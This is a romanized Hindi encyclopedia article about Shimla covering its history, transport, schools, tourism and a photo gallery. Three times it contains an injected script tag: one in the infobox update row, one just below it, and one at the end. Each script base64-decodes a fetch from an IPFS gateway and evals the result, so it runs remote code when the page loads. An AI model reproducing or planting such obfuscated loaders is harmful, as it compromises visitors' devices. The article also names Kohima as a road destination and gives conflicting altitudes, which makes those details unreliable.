शिमला
shimala
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| vivaran | shimala ko simala nam se jana jata tha. shimala himachal pradesh ki rajadhani hai aur shimala zile ka prashasanik mukhyalay bhi hai. |
| rajy | himachal pradesh |
| zila | shimala |
| bhaugolik sthiti | uttar-31° 6′ 12″, poorv-77° 10′ 20″ |
| marg sthiti | shimala se himachal pradesh ke vibhinn sthanoan ke lie basoan ka parichalan kiya jata hai. basoan ke alava rashtriy rajamarg 22 se niji vahanoan dvara bhi kohima tak pahuancha ja sakata hai. |
| kab jaean | mee se aktoobar |
| kaise pahuanchean | havaee jahaj, rel, bas, taiksi |
| relave steshan | relave steshan kalaka, chandigadh aur pathanakot |
| bas adda | shimala bas adda |
| kya dekhean | himalay parvat ki nichali shrriankhalaoan mean avasthit shimala shahar devadar, chi d aur majoo ke jangaloan se ghira hai. isake uttar mean barf se dhaki parvat shrriankhalaean hai. yahaan ghati ka suandar drishhy dikhaee deta hai |
| kahaan thaharean | hotal, atithi-grah, dharmashala |
| kya kharidean | sh aaul, topi, hastashilp vastuean |
| es.ti.di. kod | 0177 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | shimala googal manachitr |
| adyatan | 11:06, 6 aktoobar 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shimala ko simala nam se jana jata tha. shimala himachal pradesh ki rajadhani hai aur shimala zile ka prashasanik mukhyalay bhi hai. desh ki azadi ke ek varsh bad tak yah grishmakalin rajadhani ke roop mean apani mahatta siddh karata raha. shimala bharat ke sath-sath poori dooniya mean apane anupam sauandary ke karan sailaniyoan ka priy darshaniy sthal raha hai. shimala, romaanchak kheloan jaise skiiang, trekiang, phishiang aur golph ke lie ek suvidhajanak bes ka kam bhi karata hai. yadyapi british samrajy samapt ho chuka hai par isaki chhap abhi bhi shimala mean dikhaee p dati hai. bharat mean britishoan ki grishmakalin rajadhani raha yah shahar pahale se hi akarshan ka keandr raha hai. ab himachal pradesh rajy ki rajadhani ke roop mean shimala mean sabhi suvidhaean maujood haian. shimala ka nam devi shhyamala ke nam par rakha gaya hai jo kali ka avatar hai.
sthiti
shimala samudr tal se 6890 phit ooancha, desh ka sarvadhik khoobasoorat hil steshan hai, jo ki 12 kilomitar lambaee mean phaila haian. shimala chandigadh se 114 kilomitar uttar mean lagabhag 2,200 mitar ki ooanchaee par laghu himalay ki ek parvat choti par sthit hai. shimala lagabhag 7267 phit ki ooanchaee par sthit hai aur yah ardh chakr akar mean basa hua hai. jahaan poore varsh thanhdi havaean bahane ka varadan hai. |thumb|left|250px|shimala (1845)
itihas
- 1814-16 ke gorakha yuddh ke bad sainik tuk diyoan ke surakshit jagah par aram ke liye shimala ki sthapana ki gee thi. shimala thandi jalavayu, suramy prakritik drishyoan, himachchhadit paha di drishyoan, chi d aur devadar ke jangaloan aur aupaniveshik vastu ke akarshak shahari bhoodrishy ke liye vikhyat hai. inhian karanoan se yah bharat ki grishmakalin rajadhani hua karata tha.
- 1864 mean shimala ko aangrejoan ki rajadhani banaya gaya tha. shimala ek paryatak sthal ke roop mean bhi mashahoor hai. shimala ki khoj aangrejoan ne sanh 1819 mean ki thi. charls kainedi ne yahaan pahala grishhmakalin ghar banaya tha. jaldi hi shimala l aaurd viliyam bentink ki nazaroan mean a gaya, jo ki 1828 se 1835 tak bharat ke gavarnar janaral the.
- 19 vian sadi ke atan mean yahaan british vaisar aauy ke avas (rashtrapati nivas) ka nirman hua tha. ajakal isamean ianstityoot aauf edavaansd stadi hai.
yatayat aur parivahan
thumb|250px|nagar nigam, shimala yah nagar ek chhoti rel lain ka aantim p dav hai, jo paryatakoan ko behad akarshit karata hai.
- s dak marg
shimala se himachal pradesh ke vibhinn sthanoan ke lie basoan ka parichalan kiya jata hai. basoan ke alava rashtriy rajamarg 22 se niji vahanoan dvara bhi kohima tak pahuancha ja sakata hai.
krishi aur udyog
shimala ek krishi bazar hai aur yahaan madyanirman, hastashilp aur hathakaragha udyog jaise laghu udyog haian. thumb|250px|left|visirejal l aauj, shimala
shiksha
- shimala mean anek purane arogyagrih, mahavidyalay aur himalay pradesh vishvavidyalay bhi hai.
- 1972-73 mean punargathan ke samay shimala zile (5,000 varg kimi) ka vistar kiya gaya tha.
- shimala mean 14 aanganaba di aur 63 prathamik vidyalay hai. kee british yug ke skool bhi haian.
- shimala mean lokapriy skooloan mean bishap k aautan skool, shimala pablik skool, seant edavard skool, tara h aaul, dievi skool, dievi nyoo shimala, dayanand pablik skool, aaukalaiand skool, lalapani skool pramukh haian.
- kendriy vidyalay, shimala ke behatarin skooloan mean se ek hai. pahale yah harakort batalar skool ke nam se jana jata tha.
- shimala mean medikal sansthanoan mean iandira gaandhi medikal k aaulej aur dant chikitsa mahavidyalay haian.
sanskriti
shimala mean vibhinn tyoharoan ko manaya jata hai. shimala samar phestival, pik paryatan sijan ke dauran har sal rij par ayojit kiya jata hai. isaka mukhy akarshan sabhi desh bhar se lokapriy gayakoan dvara pradarshan shamil hai.
paryatan
thumb|250px|kraist charch, shimala shimala mean pahuanchane ki asani aur anek akarshak sthaloan ke karan shimala bharat ka sabase prasiddh hil steshan hai. himalay parvat ki nichali shrriankhalaoan mean avasthit shimala shahar devadar, chi d aur majoo ke jangaloan se ghira hai. isake uttar mean barf se dhaki parvat shrriankhalaean hai. yahaan ghati ka suandar drishhy dikhaee deta hai aur mahanh himalay parvati ki chotiyaan charoan or dikhaee deti hai. 12 kilomitar ki doori mean phaile shimala shahar mean paha di dhalanoan par bane makanoan aur khetoan, devadar, chi d aur majoo ke jangaloan se ghira shimala bahut akarshak dikhaee deta hai. kalaka se dhimi raphtar se chalati chhoti relaga di se yahaan ana sukhad mahasoos hota hai. shimala ki ghatiyoan mean bahate jharane aur maidan shimala ki shobha badhate haian. shahar ke bhitar anoothe k aautej aur shanadar rastoan mean aupaniveshik prabhav dekha ja sakata hai. shimala mean kharidari, khelakood aur manoranjan ke vibhinn vikalp maujood haian. yahaan thanhdi havaean bahati rahati hai. shimala ka sukhad mausam, asani se pahuanch aur dheroan akarshan ise uttar bharat ka ek sarvadhik lokapriy parvatiy shthan bana dete haian.
janasankhya
2001 ki janaganana ke anusar shimala shahar ki janasankhya 1,42,161 hai.
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vithika
- chitr:Viceregal-Lodge-Shimla-2.jpg
visirejal l aauj, shimala
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pustakalay, shimala
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kraist charch, shimala
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mal rod, shimala
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shimala (1855)
- chitr:Mall-Road-Shimla.jpg
mal rod, shimala (1880)
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sardiyoan mean shimala ka ek drishy (1860)
- chitr:Mall-Road-Shimla-1.jpg
mal rod, shimala (1890)
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mal rod, shimala
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mal rod, shimala
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shimala
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shimala
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phagoo vaili, shimala
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- chitr:Shimla-9.jpg
- chitr:Shimla-10.jpg
- chitr:Shimla-11.jpg
- chitr:Shimla-12.jpg
- chitr:Shimla-13.jpg
- chitr:Shimla-14.jpg
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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